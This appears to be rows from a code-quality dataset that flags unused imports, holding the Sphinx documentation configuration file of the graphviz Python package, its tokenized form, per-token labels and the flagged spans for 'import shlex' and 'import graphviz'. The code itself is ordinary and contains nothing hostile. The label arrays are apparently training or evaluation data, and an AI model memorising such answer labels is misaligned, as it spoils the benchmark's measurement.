"\\u",
"play_",
"=_",
"f4",
"m",
"\\u",
"proxy_",
"._",
"prepar",
"e\\u",
"url_",
"(_",
"url_",
",_",
"proxy_",
",_",
"use",
"\\u",
"proxy",
"\\u",
"for",
"\\u",
"chunks_",
",_",
"max",
"bitrate_",
"=_",
"max",
"bitrate_",
",_",
"simple",
"Downloader_",
"=_",
"simple",
"Downloader_",
",_",
"auth_",
"=_",
"auth_",
",_",
"stream",
"type_",
"=_",
"stream",
"type_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"url",
"\\u",
"to",
"\\u",
"play_",
",_",
"stop",
"Play",
"ing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | xflr6/graphviz/docs/conf.py | [
{
"content": "# -*- coding: utf-8 -*-\n#\n# graphviz documentation build configuration file, created by\n# sphinx-quickstart on Sat Jan 03 12:26:47 2015.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\nimport shlex\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\nsys.path.insert(0, os.path.abspath(os.pardir))\nimport graphviz\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.napoleon',\n 'sphinx.ext.intersphinx',\n]\n\nintersphinx_mapping = {\n 'py': ('http://docs.python.org/2', None),\n 'py3': ('http://docs.python.org/3', None),\n}\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'graphviz'\ncopyright = u'2013-2016, Sebastian Bank'\nauthor = u'Sebastian Bank'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = release = '0.4.11.dev0'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\non_rtd = os.environ.get('READTHEDOCS', None) == 'True'\nif not on_rtd:\n import sphinx_rtd_theme\n html_theme = 'sphinx_rtd_theme'\n html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'\n# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'\n#html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n#html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'graphvizdoc'\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n\n# Latex figure (float) alignment\n#'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n ('index', 'graphviz.tex', u'graphviz Documentation',\n u'Sebastian Bank', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'graphviz', u'graphviz Documentation',\n [author], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'graphviz', u'graphviz Documentation',\n author, 'graphviz', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "import shlex",
"start_line": 16,
"start_column": 0,
"end_line": 16,
"end_column": 12
},
{
"span": "import graphviz",
"start_line": 22,
"start_column": 0,
"end_line": 22,
"end_column": 15
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"utf",
"-",
"8",
" ",
"-*-",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"graphviz",
" ",
"documentation",
" ",
"build",
" ",
"configura",
"tion",
" ",
"file",
",",
" ",
"created",
" ",
"by_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"sphinx",
"-",
"quicks",
"tart",
" ",
"on",
" ",
"Sat",
" ",
"Jan",
" ",
"03",
" ",
"1",
"2",
":",
"2",
"6",
":",
"4",
"7",
" ",
"201",
"5._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"file",
" ",
"is",
" ",
"execfile",
"()",
"d",
" ",
"with",
" ",
"the",
" ",
"current",
" ",
"director",
"y",
" ",
"set",
" ",
"to",
" ",
"its_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"contain",
"ing",
" ",
"dir",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Not",
"e",
" ",
"tha",
"t",
" ",
"not",
" ",
"all",
" ",
"possib",
"le",
" ",
"configura",
"tion",
" ",
"values",
" ",
"are",
" ",
"presen",
"t",
" ",
"in",
" ",
"this_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"autogen",
"erate",
"d",
" ",
"file",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"All",
" ",
"configura",
"tion",
" ",
"values",
" ",
"have",
" ",
"a",
" ",
"default",
";",
" ",
"values",
" ",
"tha",
"t",
" ",
"are",
" ",
"commente",
"d",
" ",
"out_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"serve",
" ",
"to",
" ",
"show",
" ",
"the",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"shlex_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"extensi",
"ons",
" ",
"(",
"or",
" ",
"module",
"s",
" ",
"to",
" ",
"document",
" ",
"with",
" ",
"autod",
"oc",
")",
" ",
"are",
" ",
"in",
" ",
"anot",
"her",
" ",
"director",
"y",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"add",
" ",
"these",
" ",
"director",
"ies",
" ",
"to",
" ",
"sys",
".",
"path",
" ",
"here",
".",
" ",
"If",
" ",
"the",
" ",
"director",
"y",
" ",
"is",
" ",
"relative",
" ",
"to",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"documentation",
" ",
"root",
",",
" ",
"use",
" ",
"os",
".",
"path",
".",
"abs",
"path",
" ",
"to",
" ",
"make",
" ",
"it",
" ",
"abs",
"olute",
",",
" ",
"like",
" ",
"shown",
" ",
"here",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"sys_",
"._",
"path_",
"._",
"insert_",
"(_",
"0_",
",_",
"os_",
"._",
"path_",
"._",
"abspath_",
"(_",
"os_",
"._",
"pardir_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"graphviz",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"General",
" ",
"configura",
"tion",
" ",
"--------------",
"--------------",
"--------------",
"------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"your",
" ",
"documentation",
" ",
"need",
"s",
" ",
"a",
" ",
"minima",
"l",
" ",
"Sph",
"inx",
" ",
"version",
",",
" ",
"state",
" ",
"it",
" ",
"here",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"need",
"s",
"\\u",
"sphinx",
" ",
"=",
" ",
"'",
"1.0",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"Sph",
"inx",
" ",
"extensi",
"on",
" ",
"module",
" ",
"names",
" ",
"here",
",",
" ",
"as",
" ",
"string",
"s",
".",
" ",
"The",
"y",
" ",
"can",
" ",
"be_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"extensi",
"ons",
" ",
"comi",
"ng",
" ",
"with",
" ",
"Sph",
"inx",
" ",
"(",
"named",
" ",
"'",
"sphinx",
".",
"ext",
".*",
"')",
" ",
"or",
" ",
"your",
" ",
"custom_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"ones",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"extensions_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"sphinx",
".",
"ext",
".",
"autod",
"oc",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"sphinx",
".",
"ext",
".",
"napoleon",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"sphinx",
".",
"ext",
".",
"intersphinx",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"intersphinx",
"\\u",
"mapping_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"py",
"'_",
":_",
"(_",
"'",
"http",
"://",
"docs",
".",
"python",
".",
"org",
"/",
"2",
"'_",
",_",
"None_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"py3",
"'_",
":_",
"(_",
"'",
"http",
"://",
"docs",
".",
"python",
".",
"org",
"/",
"3",
"'_",
",_",
"None_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"template",
"s",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"template",
"s",
"\\u",
"path_",
"=_",
"[_",
"'\\u",
"template",
"s",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"suff",
"ix",
"(",
"es",
")",
" ",
"of",
" ",
"source",
" ",
"filename",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"You",
" ",
"can",
" ",
"speci",
"fy",
" ",
"multiple",
" ",
"suff",
"ix",
" ",
"as",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"string",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"source",
"\\u",
"suff",
"ix",
" ",
"=",
" ",
"['",
".",
"rst",
"',",
" ",
"'.",
"md",
"']",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"source",
"\\u",
"suffix_",
"=_",
"'.",
"rst",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"encoding",
" ",
"of",
" ",
"source",
" ",
"files",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"source",
"\\u",
"encoding",
" ",
"=",
" ",
"'",
"utf",
"-",
"8",
"-",
"sig",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"master",
" ",
"toc",
"tree",
" ",
"document",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"master",
"\\u",
"doc_",
"=_",
"'",
"index",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"General",
" ",
"informati",
"on",
" ",
"abo",
"ut",
" ",
"the",
" ",
"project",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"project_",
"=_",
"u",
"'",
"graphviz",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"copyright_",
"=_",
"u",
"'",
"2013",
"-",
"2016",
",",
" ",
"Se",
"bast",
"ian",
" ",
"Bank",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"author_",
"=_",
"u",
"'",
"Se",
"bast",
"ian",
" ",
"Bank",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"version",
" ",
"info",
" ",
"for",
" ",
"the",
" ",
"project",
" ",
"you",
"'",
"re",
" ",
"document",
"ing",
",",
" ",
"acts",
" ",
"as",
" ",
"replace",
"ment",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"|",
"version",
"|",
" ",
"and",
" ",
"|",
"release",
"|",
",",
" ",
"als",
"o",
" ",
"used",
" ",
"in",
" ",
"vari",
"ous",
" ",
"other",
" ",
"place",
"s",
" ",
"through",
"out",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"bui",
"lt",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"short",
" ",
"X",
".",
"Y",
" ",
"version",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"version_",
"=_",
"release_",
"=_",
"'",
"0.",
"4.1",
"1",
".",
"dev",
"0",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"language",
" ",
"for",
" ",
"content",
" ",
"autogen",
"erate",
"d",
" ",
"by",
" ",
"Sph",
"inx",
".",
" ",
"Refer",
" ",
"to",
" ",
"documentation",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"for",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"support",
"ed",
" ",
"language",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"is",
" ",
"als",
"o",
" ",
"used",
" ",
"if",
" ",
"you",
" ",
"do",
" ",
"content",
" ",
"translatio",
"n",
" ",
"via",
" ",
"gettext",
" ",
"catalogs",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Us",
"ual",
"ly",
" ",
"you",
" ",
"set",
" ",
"\"",
"language",
"\"",
" ",
"from",
" ",
"the",
" ",
"command",
" ",
"line",
" ",
"for",
" ",
"these",
" ",
"case",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"language_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"There",
" ",
"are",
" ",
"two",
" ",
"options",
" ",
"for",
" ",
"repla",
"cing",
" ",
"|",
"toda",
"y",
"|",
":",
" ",
"eit",
"her",
",",
" ",
"you",
" ",
"set",
" ",
"toda",
"y",
" ",
"to",
" ",
"some",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"non",
"-",
"fal",
"se",
" ",
"value",
",",
" ",
"then",
" ",
"it",
" ",
"is",
" ",
"used",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"toda",
"y",
" ",
"=",
" ",
"''_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Else",
",",
" ",
"toda",
"y",
"\\u",
"fmt",
" ",
"is",
" ",
"used",
" ",
"as",
" ",
"the",
" ",
"format",
" ",
"for",
" ",
"a",
" ",
"strf",
"time",
" ",
"call",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"toda",
"y",
"\\u",
"fmt",
" ",
"=",
" ",
"'%",
"B",
" ",
"%",
"d",
",",
" ",
"%",
"Y",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"List",
" ",
"of",
" ",
"pattern",
"s",
",",
" ",
"relative",
" ",
"to",
" ",
"source",
" ",
"director",
"y",
",",
" ",
"tha",
"t",
" ",
"match",
" ",
"files",
" ",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"director",
"ies",
" ",
"to",
" ",
"ignore",
" ",
"whe",
"n",
" ",
"look",
"ing",
" ",
"for",
" ",
"source",
" ",
"files",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"exclu",
"de",
"\\u",
"patterns_",
"=_",
"[_",
"'\\u",
"build",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"re",
"ST",
" ",
"default",
" ",
"role",
" ",
"(",
"used",
" ",
"for",
" ",
"this",
" ",
"markup",
":",
" ",
"`",
"text",
"`)",
" ",
"to",
" ",
"use",
" ",
"for",
" ",
"all_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"default",
"\\u",
"role",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"'(",
")'",
" ",
"will",
" ",
"be",
" ",
"append",
"ed",
" ",
"to",
" ",
":",
"func",
":",
" ",
"etc",
".",
" ",
"cross",
"-",
"reference",
" ",
"text",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"add",
"\\u",
"function",
"\\u",
"parenthes",
"es",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"the",
" ",
"current",
" ",
"module",
" ",
"name",
" ",
"will",
" ",
"be",
" ",
"prepend",
"ed",
" ",
"to",
" ",
"all",
" ",
"description_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"unit",
" ",
"titles",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"..",
" ",
"function",
"::",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"add",
"\\u",
"module",
"\\u",
"names",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"section",
"author",
" ",
"and",
" ",
"module",
"author",
" ",
"directive",
"s",
" ",
"will",
" ",
"be",
" ",
"shown",
" ",
"in",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"output",
".",
" ",
"The",
"y",
" ",
"are",
" ",
"ignore",
"d",
" ",
"by",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"show",
"\\u",
"author",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"the",
" ",
"Pyg",
"ment",
"s",
" ",
"(",
"synta",
"x",
" ",
"highlight",
"ing",
")",
" ",
"style",
" ",
"to",
" ",
"use",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"pyg",
"ment",
"s",
"\\u",
"style_",
"=_",
"'",
"sphinx",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"list",
" ",
"of",
" ",
"ignore",
"d",
" ",
"prefix",
"es",
" ",
"for",
" ",
"module",
" ",
"index",
" ",
"sorting",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"modi",
"nde",
"x",
"\\u",
"common",
"\\u",
"prefix",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"keep",
" ",
"warn",
"ings",
" ",
"as",
" ",
"\"",
"system",
" ",
"message",
"\"",
" ",
"paragraph",
"s",
" ",
"in",
" ",
"the",
" ",
"bui",
"lt",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"keep",
"\\u",
"warn",
"ings",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"`",
"todo",
"`",
" ",
"and",
" ",
"`",
"todo",
"List",
"`",
" ",
"produce",
" ",
"output",
",",
" ",
"else",
" ",
"the",
"y",
" ",
"produce",
" ",
"not",
"hing",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"todo",
"\\u",
"include",
"\\u",
"todos_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"HTM",
"L",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"----",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
